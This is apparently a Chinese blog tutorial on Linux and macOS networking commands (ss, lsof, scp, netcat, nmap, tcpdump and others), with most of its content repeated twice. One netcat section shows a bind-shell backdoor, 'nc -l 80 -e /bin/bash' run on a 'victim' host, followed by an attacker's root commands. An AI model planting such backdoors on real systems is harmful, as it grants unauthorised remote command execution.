linux mac 网络相关命令

  • 网络连接 - ip port pid
  • 网络传输 - 数据:文件、对话
  • 网络状况 - cpu io mem
  • 网络下载 - 文件
  • 网络监控 - tcp
  • 网络流量 - sar

网络连接 - ip port pid

ss - socket statistics

Description: ss is used to dump socket statistics. It allows showing information similar to netstat. It can display more TCP and state informations than other tools

查看网络连接,代替netstat命令,使用更简洁。NOTE: mac上默认是没有的,需要额外安装。
常用命令参数

1
2
3
4
5
6
7
8
-a 拉取所有socket(包括tcp、udp、unix sock等)
-n 不将IP、端口等解析为名称
-p 显示连接关联的进程信息(可能需要root权限)
-l 显示监听状态的套接字(sockets)
-t 仅显示 TCP套接字(sockets)
-u 仅显示 UCP套接字(sockets)
-x 只显示unix sock连接
-s, --summary 显示套接字(socket)使用概况

常用ss命令
20210128233603

ss 真正耀眼的地方是其内置的过滤能力

只想看已建立的 socket(排除了 listeningclosed

1
2
3
$ ss state connected sport = :ssh
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
tcp ESTAB 0 0 192.168.0.136:ssh 192.168.0.102:46540

参考:ss命令使用详解

[root@aizbp11lqlgyf2g31fgs4hg ~]# ss -ptln

1
2
3
State      Recv-Q Send-Q     Local Address:Port       Peer Address:Port
LISTEN 0 128 *:ssh *:* users:(("sshd",pid=1329,fd=3))
LISTEN 0 1 127.0.0.1:32000 *:* users:(("java",pid=17595,fd=3))

lsof - list open files

Description: lists on its standard output file information about files opened by processes

常用命令参数

1
2
3
4
5
-i [:port @host] 
-p 列出某个进程号所打开的文件信息
-c 列出某个程序所打开的文件信息
-u 列出某个用户打开的文件信息
-P 禁用端口号到端口名的转换

常用lsof命令举例

1
2
3
4
5
lsof -i:9902
lsof –i@10.65.64.23
lsof -p 1122
lsof -u root
lsof -c mysql

netstat - 过时

NOTE: mac上默认是没有的,需要额外安装。即使安装,netstat的macOS版本缺少许多用户期望的功能,这时候可以使用lsof。即ss和lsof都可以替代netstat

telnet - 过时

telnet命令通常用来远程登录。但是,telnet因为采用明文传送报文,安全性不好,很多Linux服务器都不开放telnet服务,而改用更安全的ssh方式了。
但是telnet可以查看远程端口是否开启的方法

1
2
3
4
5
telnet ip port

具有相同功能的还有
nc -z ip port 注释: -z是仅仅报告连接状态,不发送数据
nmap ip -p port

实战1 查看pid和服务端口的对应关系 - 通过pid查看port

ss -ptln|grep 17470

1
2
[root@aizbp11lqlgyf2g31fgs4hg ~]# ss -ptln|grep 17470
LISTEN 0 100 *:20282 *:* users:(("java",pid=17470,fd=21))

lsof -i|grep pid 或者 lsof -i:port

1
2
3
4
5
[root@aizbp11lqlgyf2g31fgs4hg ~]# lsof -i:32000
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
wrapper 1105 root 6u IPv4 53752676 0t0 TCP localhost:32000->localhost:31001 (ESTABLISHED)
java 17595 root 3u IPv4 53752648 0t0 TCP localhost:32000 (LISTEN)
java 17595 root 28u IPv4 53752674 0t0 TCP localhost:31001->localhost:32000 (ESTABLISHED)
1
2
3
4
5
6
7
[work@VM_12_70_centos ~]$ lsof -i:9092
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
java 9316 work 45u IPv4 514189572 0t0 TCP VM_12_70_centos:34588->VM_12_70_centos:XmlIpcRegSvc (ESTABLISHED)
java 9316 work 46u IPv4 514194500 0t0 TCP VM_12_70_centos:34600->VM_12_70_centos:XmlIpcRegSvc (ESTABLISHED)
java 29134 work 103u IPv4 514193492 0t0 TCP VM_12_70_centos:XmlIpcRegSvc (LISTEN)
java 29134 work 113u IPv4 514192570 0t0 TCP VM_12_70_centos:XmlIpcRegSvc->VM_12_70_centos:34588 (ESTABLISHED)
java 29134 work 172u IPv4 514189578 0t0 TCP VM_12_70_centos:XmlIpcRegSvc->VM_12_70_centos:34600 (ESTABLISHED)

这里需要注意下’lsof -i:32000’ 和 ‘lsof -i:9092’打印信息的区别,32000的显示的正常的端口号,9092显示的却是XmlIpcRegSvc,你可能会疑问,请参见:[server name与port对应关系]https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml?skey=7&page=83 ,为了一直显示端口号,’ss’ 和’lsof’ 都提供了相应的命令参数 ‘ss -n’ 和’lsof -P’。我们再来看下效果:

1
2
3
4
5
6
7
[work@VM_12_70_centos ~]$ lsof -P -i:9092
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
java 9316 work 45u IPv4 514189572 0t0 TCP VM_12_70_centos:34588->VM_12_70_centos:9092 (ESTABLISHED)
java 9316 work 46u IPv4 514194500 0t0 TCP VM_12_70_centos:34600->VM_12_70_centos:9092 (ESTABLISHED)
java 29134 work 103u IPv4 514193492 0t0 TCP VM_12_70_centos:9092 (LISTEN)
java 29134 work 113u IPv4 514192570 0t0 TCP VM_12_70_centos:9092->VM_12_70_centos:34588 (ESTABLISHED)
java 29134 work 172u IPv4 514189578 0t0 TCP VM_12_70_centos:9092->VM_12_70_centos:34600 (ESTABLISHED)

所以,查看pid和服务端口的对应关系的方式是:1. ‘ss -ptln|grep pid|port’ ; 2. ‘lsof -P -i|grep pid 或者 lsof -P -i:port’

实战2 想知道java web服务的端口

step1: ps -ef|grep ${服务名}

1
2
[work@centos ~]$ ps -ef|grep -v grep|grep microservice
work 9316 1 0 2020 ? 08:41:46 java -Dspring.profiles.active=test -Dserver.port=9998 -jar /home/microservice-1.0.0-SNAPSHOT.jar

step2:

1
2
3
[work@centos ~]$ ss -lptn |grep 9316
LISTEN 0 1 *:5005 *:* users:(("java",pid=9316,fd=5))
LISTEN 0 100 *:9998 *:* users:(("java",pid=9316,fd=35))

或者

1
2
3
[work@centos ~]$ lsof -P -i|grep 9316
java 9316 work 35u IPv4 1111111 0t0 TCP *:9998 (LISTEN)
NOTE: 这里的distinct32其实就是9998端口,原因参见上一个NOTE

网络传输 - 数据:文件、对话

NOTE: scp使用ssh安全协议传输数据,具有和ssh一样的验证机制,从而可以实现安全的远程拷贝文件。nc传输时没有这么安全

scp - secure copy

DESCRIPTION: scp copies files between hosts on a network

不同机器上远程拷贝文件

常用命令参数

1
2
3
-r  递归复制整个目录。 
-v 详细方式显示输出。scp和ssh(1)会显示出整个过程的调试信息。这些信息用于调试连接,验证和配置问题。
-C 采用gzip压缩方式 传输,这样传输更快

常用scp命令
假设现在有A B两台机器,A是本地电脑,B是远程机器。scp可以从两个方向进行操作:在A上下载B的文件;
从本地服务器上传文件/目录到远程服务器:

1
2
3
上传文件 scp local_file remote_username@remote_ip:remote_folder 

上传目录 scp -r local_folder remote_username@remote_ip:remote_folder

实例

1
2
3
4
5
6
7
scp /opt/soft/nginx-0.5.38.tar.gz root@10.80.100.20:/opt/soft/scptest
说明:
复制本地opt/soft/目录下的文件nginx-0.5.38.tar.gz 到远程机器10.80.100.20的opt/soft/scptest目录

scp -r /opt/soft/mongodb root@10.80.100.20:/opt/soft/scptest
说明:
复制本地opt/soft/mongodb 目录到远程机器10.80.100.20的opt/soft/scptest目录中

从本地服务器下载远程服务器的文件/目录:

1
2
3
下载文件 scp remote_username@remote_ip:remote_file  local_folder

下载目录 scp -r remote_username@remote_ip:remote_folder local_folder

实例

1
2
3
4
5
6
7
scp root@10.80.100.20:/opt/soft/nginx-0.5.38.tar.gz /opt/soft/
说明:
从10.80.100.20机器上的/opt/soft/的目录中下载nginx-0.5.38.tar.gz 文件到本地/opt/soft/目录中

scp -r root@10.80.100.20:/opt/soft/mongodb /opt/soft/
说明:
从10.80.100.20机器上的/opt/soft/中下载mongodb目录到本地的/opt/soft/目录来。

nc - arbitrary(任意的) TCP and UDP connections and listens

DESCRIPTION:
The nc (or netcat) utility is used for just about anything under the sun involving TCP or UDP. It can open TCP connections, send UDP packets, listen on
arbitrary TCP and UDP ports, do port scanning, and deal with both IPv4 and IPv6

既可以网络调试又数据传输, 既是一个端口扫描工具,也是一款安全工具,还能是一款监测工具,甚至可以做为一个简单的 TCP 代理。 由于有这么多的功能,它被誉为是网络界的瑞士军刀

常用命令参数

1
2
3
-v:显示指令执行过程;
-z:只显示连接状态,不发送数据,只在扫描通信端口时使用。
-w2:超时时间。设置等待连线的时间为2s;

常用命令

1
2


使用netcat实现聊天

1
2
3
4
5
6
7
8
9
10
11
12
20.90.189.37机器,监听80端口(注意:我这里是aliyun服务器,他的安全策略是只开放了80等端口,你使用其他端口可能无法实现聊天,这是因为阿里云的安全策略控制的,你需要配置你使用的端口)
接收端启动监听
[root@aizbp11lqlgyf2g31fgsfhg ~]# nc -l 80
ff
dfgdfg

发送端(mac机器)连接20.90.189.37机器的80端口
[test@mac ~]# nc 20.90.189.37 80
ff
dfgdfg

输入ff、dfgdfg可以看到消息已经相互传递了。断开时需要手动Ctrl + c

使用netcat实现文件传输1

1
2
3
4
5
6
[root@izbp10lqlgy2g31s41bt94z ~]# nc -l 80 > test.sh
[root@izbp10lqlgy2g31s41bt94z ~]# ll
-rw-r--r-- 1 root root 0 10月 29 10:37 test.sh

[test@mac ~]# nc 20.90.189.37 80 < test.sh
传输完成,连接自动断开

使用netcat进行远程端口扫描 - 即查看远程端口是否开启

实例:nc -v -z -w2 192.168.31.164 1-100

1
2
3
[root@aizbp11lqlgyf2g31fgsfhg ~]# nc -v -z -w2 192.168.31.164 38322
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connection timed out.

端口转发

1
2
3
4
5
6
7
端口转发
我们通过选项 -c 来用 nc 进行端口转发,实现端口转发的语法为:
[root@aizbp11lqlgyf2g31fgsfhg ~]# nc -u -l 80 -c 'ncat -u -l 8080'

作为代理
[root@aizbp11lqlgyf2g31fgsfhg ~]# nc -l 8080 | nc 192.168.1.200 80
所有发往我们服务器 8080 端口的连接都会自动转发到 192.168.1.200 上的 80 端口。

创建后门(也叫反弹shell)

1
2
3
4
5
6
7
8
9
10
11
12
13
受害者机器主动打开监听。-e为执行被给的命令,“nc -l 80 -e /bin/bash”含义为执行连接端输入的命令
[root@izbp10lqlgy2g31s41bt94z ~]# nc -l 80 -e /bin/bash

攻击端(连接端)连接受害者机器80端口,然后输入命令获取受害者机器的信息,从而实现攻击
[skyler@mac ~]# nc 47.98.189.37 80
w
11:21:25 up 493 days, 23:11, 1 user, load average: 0.00, 0.01, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root pts/0 210.12.157.87 10:13 13.00s 0.04s 0.00s w
whoami
root
uname -a
Linux izbp10lqlgy2g31s41bt94z 3.10.0-693.2.2.el7.x86_64 #1 SMP Tue Sep 12 22:26:13 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

网络状况 - 网络连通性检测 - mtr dig ping

检测主机/域名是否可达

mtr - a network diagnostic tool

mtr my trace route
DESCRIPTION
mtr combines the functionality of the traceroute and ping programs in a single network diagnostic tool.

常用命令参数

1
2
-r 如果不使用 -r 参数 mtr 会不断动态运行
-n 选项来让 mtr 只输出 IP,而不对主机 host name 进行解释

常用命令
查看本地到 google.com 的路由连接情况:

1
mtr google.com

输出
20210130202240

dig

1
dig www.baidu.com

ping

1
ping www.baidu.com

检测端口级是否可达

nc

1
nc ip port

telnet

1
telnet www.baidu.com 80

nmap - Network Mapper

主要扫描网络端口,和嗅探网络服务的

nmap ips -p ports
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ nmap  10.0.1.161  -p1-65535

Starting Nmap 5.51 ( http://nmap.org ) at 2016-12-29 10:11 CST
Nmap scan report for 10.0.1.161
Host is up (0.00017s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE
22/tcp open ssh
111/tcp open rpcbind
873/tcp open rsync
13306/tcp open unknown
MAC Address: 00:0C:29:56:DE:46 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 2.49 seconds

一键检测

1
2
多数情况下,可以使用curl一键检测所有过程,如果有问题,再使用上面的命令逐个排查。
curl -v http://www.baidu.com/

网络下载 - 文件

scp

NOET: 本文上部分已有

curl

1
2
3
curl -o dodo1.jpg http:www.linux.com/dodo1.JPG

curl -O http://www.linux.com/dodo1.JPG

wget - The non-interactive network downloader

DESCRIPTION
GNU Wget is a free utility for non-interactive download of files from the Web. It supports HTTP, HTTPS, and FTP protocols, as well as retrieval through HTTP
proxies

日常用法

1
$ wget http://www.minjieren.com/wordpress-3.1-zh_CN.zip

使用wget -O下载并以不同的文件名保存

1
$wget -O wordpress.zip http://www.minjieren.com/download.aspx?id=1080

本机网络信息情况 - mem cpu io disk

mem - 内存监控

监控内存最常使用的命令有free、vmstat、top等

1
2
3
4
free:展示内存的已使用和空闲的数量数据
vmstat:报告虚拟内存统计数据
/proc/meminfo:包含了更多更原始的信息,只是看起来不太直观
区别:free为你提供了概要信息,输出结果清晰;/proc/meminfo提供更多更原始的信息,是了解Linux系统内存使用状况的主要接口,我们最常用的”free”、”vmstat”等命令就是通过它获取数据的

free

参考:https://songlee24.github.io/2015/09/05/linux-monitor-tools/

vmstat - Virtual Meomory Statistics

vmstat(虚拟内存统计)是对系统的整体情况进行统计,包括内核进程、虚拟内存、磁盘、陷阱和 CPU 活动的统计信息。

1
$ vmstat 2 100      # 2表示刷新间隔,100表示输出次数

cpu - CPU监控

top:获取 CPU 和硬盘的使用状态,通常使用使用 top(htop 更佳)
iostat:CPU利用情况报告
mpstat:CPU实时监控工具

top

disk - 磁盘监控

df - disk free

du - disk usage

io - io监控

iotop

iotop命令 是一个用来监视磁盘I/O使用状况的top类工具。

https://cloud.tencent.com/developer/article/1004358
https://linuxtools-rst.readthedocs.io/zh_CN/latest/base/06_monitor.html
https://shanyue.tech/op/linux-monitor.html#mysql-%E7%9A%84%E6%9C%80%E5%A4%A7%E8%BF%9E%E6%8E%A5%E6%95%B0%E4%B8%8E%E5%BD%93%E5%89%8D%E8%BF%9E%E6%8E%A5%E6%95%B0
https://wzfou.com/linux-jiankong/
https://segmentfault.com/a/1190000038231309
https://songlee24.github.io/2015/09/05/linux-monitor-tools/

网络流量 - sar


title: linux mac 网络相关命令
date: 2021-01-24 23:49:31
categories:

- linux

tags:

- linux网络命令
- mac网络命令

toc: true

  • 网络连接 - ip port pid
  • 网络传输 - 数据:文件、对话
  • 网络状况 - cpu io mem
  • 网络下载 - 文件
  • 网络监控 - tcp
  • 网络流量 - sar

网络连接 - ip port pid

ss - socket statistics

Description: ss is used to dump socket statistics. It allows showing information similar to netstat. It can display more TCP and state informations than other tools

查看网络连接,代替netstat命令,使用更简洁。NOTE: mac上默认是没有的,需要额外安装。
常用命令参数

1
2
3
4
5
6
7
8
-a 拉取所有socket(包括tcp、udp、unix sock等)
-n 不将IP、端口等解析为名称
-p 显示连接关联的进程信息(可能需要root权限)
-l 显示监听状态的套接字(sockets)
-t 仅显示 TCP套接字(sockets)
-u 仅显示 UCP套接字(sockets)
-x 只显示unix sock连接
-s, --summary 显示套接字(socket)使用概况

常用ss命令
20210128233603

ss 真正耀眼的地方是其内置的过滤能力

只想看已建立的 socket(排除了 listeningclosed

1
2
3
$ ss state connected sport = :ssh
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
tcp ESTAB 0 0 192.168.0.136:ssh 192.168.0.102:46540

参考:ss命令使用详解

[root@aizbp11lqlgyf2g31fgs4hg ~]# ss -ptln

1
2
3
State      Recv-Q Send-Q     Local Address:Port       Peer Address:Port
LISTEN 0 128 *:ssh *:* users:(("sshd",pid=1329,fd=3))
LISTEN 0 1 127.0.0.1:32000 *:* users:(("java",pid=17595,fd=3))

lsof - list open files

Description: lists on its standard output file information about files opened by processes

常用命令参数

1
2
3
4
5
-i [:port @host] 
-p 列出某个进程号所打开的文件信息
-c 列出某个程序所打开的文件信息
-u 列出某个用户打开的文件信息
-P 禁用端口号到端口名的转换

常用lsof命令举例

1
2
3
4
5
lsof -i:9902
lsof –i@10.65.64.23
lsof -p 1122
lsof -u root
lsof -c mysql

netstat - 过时

NOTE: mac上默认是没有的,需要额外安装。即使安装,netstat的macOS版本缺少许多用户期望的功能,这时候可以使用lsof。即ss和lsof都可以替代netstat

telnet - 过时

telnet命令通常用来远程登录。但是,telnet因为采用明文传送报文,安全性不好,很多Linux服务器都不开放telnet服务,而改用更安全的ssh方式了。
但是telnet可以查看远程端口是否开启的方法

1
2
3
4
5
telnet ip port

具有相同功能的还有
nc -z ip port 注释: -z是仅仅报告连接状态,不发送数据
nmap ip -p port

实战1 查看pid和服务端口的对应关系 - 通过pid查看port

ss -ptln|grep 17470

1
2
[root@aizbp11lqlgyf2g31fgs4hg ~]# ss -ptln|grep 17470
LISTEN 0 100 *:20282 *:* users:(("java",pid=17470,fd=21))

lsof -i|grep pid 或者 lsof -i:port

1
2
3
4
5
[root@aizbp11lqlgyf2g31fgs4hg ~]# lsof -i:32000
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
wrapper 1105 root 6u IPv4 53752676 0t0 TCP localhost:32000->localhost:31001 (ESTABLISHED)
java 17595 root 3u IPv4 53752648 0t0 TCP localhost:32000 (LISTEN)
java 17595 root 28u IPv4 53752674 0t0 TCP localhost:31001->localhost:32000 (ESTABLISHED)
1
2
3
4
5
6
7
[work@VM_12_70_centos ~]$ lsof -i:9092
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
java 9316 work 45u IPv4 514189572 0t0 TCP VM_12_70_centos:34588->VM_12_70_centos:XmlIpcRegSvc (ESTABLISHED)
java 9316 work 46u IPv4 514194500 0t0 TCP VM_12_70_centos:34600->VM_12_70_centos:XmlIpcRegSvc (ESTABLISHED)
java 29134 work 103u IPv4 514193492 0t0 TCP VM_12_70_centos:XmlIpcRegSvc (LISTEN)
java 29134 work 113u IPv4 514192570 0t0 TCP VM_12_70_centos:XmlIpcRegSvc->VM_12_70_centos:34588 (ESTABLISHED)
java 29134 work 172u IPv4 514189578 0t0 TCP VM_12_70_centos:XmlIpcRegSvc->VM_12_70_centos:34600 (ESTABLISHED)

这里需要注意下’lsof -i:32000’ 和 ‘lsof -i:9092’打印信息的区别,32000的显示的正常的端口号,9092显示的却是XmlIpcRegSvc,你可能会疑问,请参见:[server name与port对应关系]https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml?skey=7&page=83 ,为了一直显示端口号,’ss’ 和’lsof’ 都提供了相应的命令参数 ‘ss -n’ 和’lsof -P’。我们再来看下效果:

1
2
3
4
5
6
7
[work@VM_12_70_centos ~]$ lsof -P -i:9092
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
java 9316 work 45u IPv4 514189572 0t0 TCP VM_12_70_centos:34588->VM_12_70_centos:9092 (ESTABLISHED)
java 9316 work 46u IPv4 514194500 0t0 TCP VM_12_70_centos:34600->VM_12_70_centos:9092 (ESTABLISHED)
java 29134 work 103u IPv4 514193492 0t0 TCP VM_12_70_centos:9092 (LISTEN)
java 29134 work 113u IPv4 514192570 0t0 TCP VM_12_70_centos:9092->VM_12_70_centos:34588 (ESTABLISHED)
java 29134 work 172u IPv4 514189578 0t0 TCP VM_12_70_centos:9092->VM_12_70_centos:34600 (ESTABLISHED)

所以,查看pid和服务端口的对应关系的方式是:1. ‘ss -ptln|grep pid|port’ ; 2. ‘lsof -P -i|grep pid 或者 lsof -P -i:port’

实战2 想知道java web服务的端口

step1: ps -ef|grep ${服务名}

1
2
[work@centos ~]$ ps -ef|grep -v grep|grep microservice
work 9316 1 0 2020 ? 08:41:46 java -Dspring.profiles.active=test -Dserver.port=9998 -jar /home/microservice-1.0.0-SNAPSHOT.jar

step2:

1
2
3
[work@centos ~]$ ss -lptn |grep 9316
LISTEN 0 1 *:5005 *:* users:(("java",pid=9316,fd=5))
LISTEN 0 100 *:9998 *:* users:(("java",pid=9316,fd=35))

或者

1
2
3
[work@centos ~]$ lsof -P -i|grep 9316
java 9316 work 35u IPv4 1111111 0t0 TCP *:9998 (LISTEN)
NOTE: 这里的distinct32其实就是9998端口,原因参见上一个NOTE

网络传输 - 数据:文件、对话

NOTE: scp使用ssh安全协议传输数据,具有和ssh一样的验证机制,从而可以实现安全的远程拷贝文件。nc传输时没有这么安全

scp - secure copy

DESCRIPTION: scp copies files between hosts on a network

不同机器上远程拷贝文件

常用命令参数

1
2
3
-r  递归复制整个目录。 
-v 详细方式显示输出。scp和ssh(1)会显示出整个过程的调试信息。这些信息用于调试连接,验证和配置问题。
-C 采用gzip压缩方式 传输,这样传输更快

常用scp命令
假设现在有A B两台机器,A是本地电脑,B是远程机器。scp可以从两个方向进行操作:在A上下载B的文件;
从本地服务器上传文件/目录到远程服务器:

1
2
3
上传文件 scp local_file remote_username@remote_ip:remote_folder 

上传目录 scp -r local_folder remote_username@remote_ip:remote_folder

实例

1
2
3
4
5
6
7
scp /opt/soft/nginx-0.5.38.tar.gz root@10.80.100.20:/opt/soft/scptest
说明:
复制本地opt/soft/目录下的文件nginx-0.5.38.tar.gz 到远程机器10.80.100.20的opt/soft/scptest目录

scp -r /opt/soft/mongodb root@10.80.100.20:/opt/soft/scptest
说明:
复制本地opt/soft/mongodb 目录到远程机器10.80.100.20的opt/soft/scptest目录中

从本地服务器下载远程服务器的文件/目录:

1
2
3
下载文件 scp remote_username@remote_ip:remote_file  local_folder

下载目录 scp -r remote_username@remote_ip:remote_folder local_folder

实例

1
2
3
4
5
6
7
scp root@10.80.100.20:/opt/soft/nginx-0.5.38.tar.gz /opt/soft/
说明:
从10.80.100.20机器上的/opt/soft/的目录中下载nginx-0.5.38.tar.gz 文件到本地/opt/soft/目录中

scp -r root@10.80.100.20:/opt/soft/mongodb /opt/soft/
说明:
从10.80.100.20机器上的/opt/soft/中下载mongodb目录到本地的/opt/soft/目录来。

nc - arbitrary(任意的) TCP and UDP connections and listens

DESCRIPTION:
The nc (or netcat) utility is used for just about anything under the sun involving TCP or UDP. It can open TCP connections, send UDP packets, listen on
arbitrary TCP and UDP ports, do port scanning, and deal with both IPv4 and IPv6

既可以网络调试又数据传输, 既是一个端口扫描工具,也是一款安全工具,还能是一款监测工具,甚至可以做为一个简单的 TCP 代理。 由于有这么多的功能,它被誉为是网络界的瑞士军刀

常用命令参数

1
2
3
-v:显示指令执行过程;
-z:只显示连接状态,不发送数据,只在扫描通信端口时使用。
-w2:超时时间。设置等待连线的时间为2s;

常用命令

1
2


使用netcat实现聊天

1
2
3
4
5
6
7
8
9
10
11
12
20.90.189.37机器,监听80端口(注意:我这里是aliyun服务器,他的安全策略是只开放了80等端口,你使用其他端口可能无法实现聊天,这是因为阿里云的安全策略控制的,你需要配置你使用的端口)
接收端启动监听
[root@aizbp11lqlgyf2g31fgsfhg ~]# nc -l 80
ff
dfgdfg

发送端(mac机器)连接20.90.189.37机器的80端口
[test@mac ~]# nc 20.90.189.37 80
ff
dfgdfg

输入ff、dfgdfg可以看到消息已经相互传递了。断开时需要手动Ctrl + c

使用netcat实现文件传输1

1
2
3
4
5
6
[root@izbp10lqlgy2g31s41bt94z ~]# nc -l 80 > test.sh
[root@izbp10lqlgy2g31s41bt94z ~]# ll
-rw-r--r-- 1 root root 0 10月 29 10:37 test.sh

[test@mac ~]# nc 20.90.189.37 80 < test.sh
传输完成,连接自动断开

使用netcat进行远程端口扫描 - 即查看远程端口是否开启

实例:nc -v -z -w2 192.168.31.164 1-100

1
2
3
[root@aizbp11lqlgyf2g31fgsfhg ~]# nc -v -z -w2 192.168.31.164 38322
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connection timed out.

端口转发

1
2
3
4
5
6
7
端口转发
我们通过选项 -c 来用 nc 进行端口转发,实现端口转发的语法为:
[root@aizbp11lqlgyf2g31fgsfhg ~]# nc -u -l 80 -c 'ncat -u -l 8080'

作为代理
[root@aizbp11lqlgyf2g31fgsfhg ~]# nc -l 8080 | nc 192.168.1.200 80
所有发往我们服务器 8080 端口的连接都会自动转发到 192.168.1.200 上的 80 端口。

创建后门(也叫反弹shell)

1
2
3
4
5
6
7
8
9
10
11
12
13
受害者机器主动打开监听。-e为执行被给的命令,“nc -l 80 -e /bin/bash”含义为执行连接端输入的命令
[root@izbp10lqlgy2g31s41bt94z ~]# nc -l 80 -e /bin/bash

攻击端(连接端)连接受害者机器80端口,然后输入命令获取受害者机器的信息,从而实现攻击
[skyler@mac ~]# nc 47.98.189.37 80
w
11:21:25 up 493 days, 23:11, 1 user, load average: 0.00, 0.01, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root pts/0 210.12.157.87 10:13 13.00s 0.04s 0.00s w
whoami
root
uname -a
Linux izbp10lqlgy2g31s41bt94z 3.10.0-693.2.2.el7.x86_64 #1 SMP Tue Sep 12 22:26:13 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

网络状况 - 网络连通性检测 - mtr dig ping

检测主机/域名是否可达

mtr - a network diagnostic tool

mtr my trace route
DESCRIPTION
mtr combines the functionality of the traceroute and ping programs in a single network diagnostic tool.

常用命令参数

1
2
-r 如果不使用 -r 参数 mtr 会不断动态运行
-n 选项来让 mtr 只输出 IP,而不对主机 host name 进行解释

常用命令
查看本地到 google.com 的路由连接情况:

1
mtr google.com

输出
20210130202240

dig

1
dig www.baidu.com

ping

1
ping www.baidu.com

检测端口级是否可达

nc

1
nc ip port

telnet

1
telnet www.baidu.com 80

nmap - Network Mapper

主要扫描网络端口,和嗅探网络服务的

nmap ips -p ports
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ nmap  10.0.1.161  -p1-65535

Starting Nmap 5.51 ( http://nmap.org ) at 2016-12-29 10:11 CST
Nmap scan report for 10.0.1.161
Host is up (0.00017s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE
22/tcp open ssh
111/tcp open rpcbind
873/tcp open rsync
13306/tcp open unknown
MAC Address: 00:0C:29:56:DE:46 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 2.49 seconds

一键检测

1
2
多数情况下,可以使用curl一键检测所有过程,如果有问题,再使用上面的命令逐个排查。
curl -v http://www.baidu.com/

网络下载 - 文件

scp

NOET: 本文上部分已有

curl

1
2
3
curl -o dodo1.jpg http:www.linux.com/dodo1.JPG

curl -O http://www.linux.com/dodo1.JPG

wget - The non-interactive network downloader

DESCRIPTION
GNU Wget is a free utility for non-interactive download of files from the Web. It supports HTTP, HTTPS, and FTP protocols, as well as retrieval through HTTP
proxies

日常用法

1
$ wget http://www.minjieren.com/wordpress-3.1-zh_CN.zip

使用wget -O下载并以不同的文件名保存

1
$wget -O wordpress.zip http://www.minjieren.com/download.aspx?id=1080

本机网络信息情况 - mem cpu io disk

mem - 内存监控

监控内存最常使用的命令有free、vmstat、top等

1
2
3
4
free:展示内存的已使用和空闲的数量数据
vmstat:报告虚拟内存统计数据
/proc/meminfo:包含了更多更原始的信息,只是看起来不太直观
区别:free为你提供了概要信息,输出结果清晰;/proc/meminfo提供更多更原始的信息,是了解Linux系统内存使用状况的主要接口,我们最常用的”free”、”vmstat”等命令就是通过它获取数据的

free

参考:https://songlee24.github.io/2015/09/05/linux-monitor-tools/

vmstat - Virtual Meomory Statistics

vmstat(虚拟内存统计)是对系统的整体情况进行统计,包括内核进程、虚拟内存、磁盘、陷阱和 CPU 活动的统计信息。

1
$ vmstat 2 100      # 2表示刷新间隔,100表示输出次数

cpu - CPU监控

top:获取 CPU 和硬盘的使用状态,通常使用使用 top(htop 更佳)
iostat:CPU利用情况报告
mpstat:CPU实时监控工具

top

disk - 磁盘监控

df - disk free

du - disk usage

io - io监控

iotop

iotop命令 是一个用来监视磁盘I/O使用状况的top类工具。

https://cloud.tencent.com/developer/article/1004358
https://linuxtools-rst.readthedocs.io/zh_CN/latest/base/06_monitor.html
https://shanyue.tech/op/linux-monitor.html#mysql-%E7%9A%84%E6%9C%80%E5%A4%A7%E8%BF%9E%E6%8E%A5%E6%95%B0%E4%B8%8E%E5%BD%93%E5%89%8D%E8%BF%9E%E6%8E%A5%E6%95%B0
https://wzfou.com/linux-jiankong/
https://segmentfault.com/a/1190000038231309
https://songlee24.github.io/2015/09/05/linux-monitor-tools/

  • 网络流量 - sar
    查看流量
    有很多工具可以看网络流量,但我最喜欢sar。sar是linux上功能最全的监控软件。如图,使用sar -n DEV 1即可每秒刷新一次网络流量。
    20211127221757

当然,你也可以使用ifstat、nload、iptraf等命令查看。然而数据来源,还是来自我们的/proc目录

1
watch cat /proc/net/dev

查看占流量最大的IP
有时候我们发现网络带宽占用非常高,但我们无法判断到底流量来自哪里。这时候,iftop就可以帮上忙了。如图,可以很容易的找出流量来自哪台主机。
20211127221855
当你不确定内网的流量来源,比如有人在压测,api调用不合理等,都可以通过这种方法找到他。

抓包

tcpdump

当我们需要判断是否有流量,或者调试一个难缠的netty应用问题,则可以通过抓包的方式去进行进一步的判断。在Linux上,可以通过tcpdump命令抓取数据,然后使用Wireshark进行分析。

1
tcpdump -i eth0 -nn -s0 -v port 80

1
2
3
4
5
6
7
8
9
-i 指定网卡进行抓包

-n 和ss一样,表示不解析域名

-nn 两个n表示端口也是数字,否则解析成服务名

-s 设置抓包长度,0表示不限制

-v 抓包时显示详细输出,-vv、-vvv依次更加详细

1)加入-A选项将打印ascii ,-X打印hex码。

1
tcpdump -A -s0 port 80

2)抓取特定ip的相关包

1
2
tcpdump -i eth0 host 10.10.1.1
tcpdump -i eth0 dst 10.10.1.20

3)-w参数将抓取的包写入到某个文件中

1
tcpdump -i eth0 -s0 -w test.pcap

4)tcpdump支持表达式,还有更加复杂的例子,比如抓取系统中的get,post请求(非https)

1
tcpdump -s 0 -v -n -l | egrep -i "POST /|GET /|Host:"

更多参见
https://hackertarget.com/tcpdump-examples/

其他常用命令

应用软件

1
2
3
4
5
6
7
8
9
10
11
# 断点续传下载文件
wget -c $url
# 下载整站
wget -r -p -np -k $url
# 发送网络连接(常用)
curl -XGET $url
# 传输文件
scp
sftp
# 数据镜像备份
rsync

检测工具

1
2
3
4
5
6
7
8
9
10
11
12
13
# 连通性检测
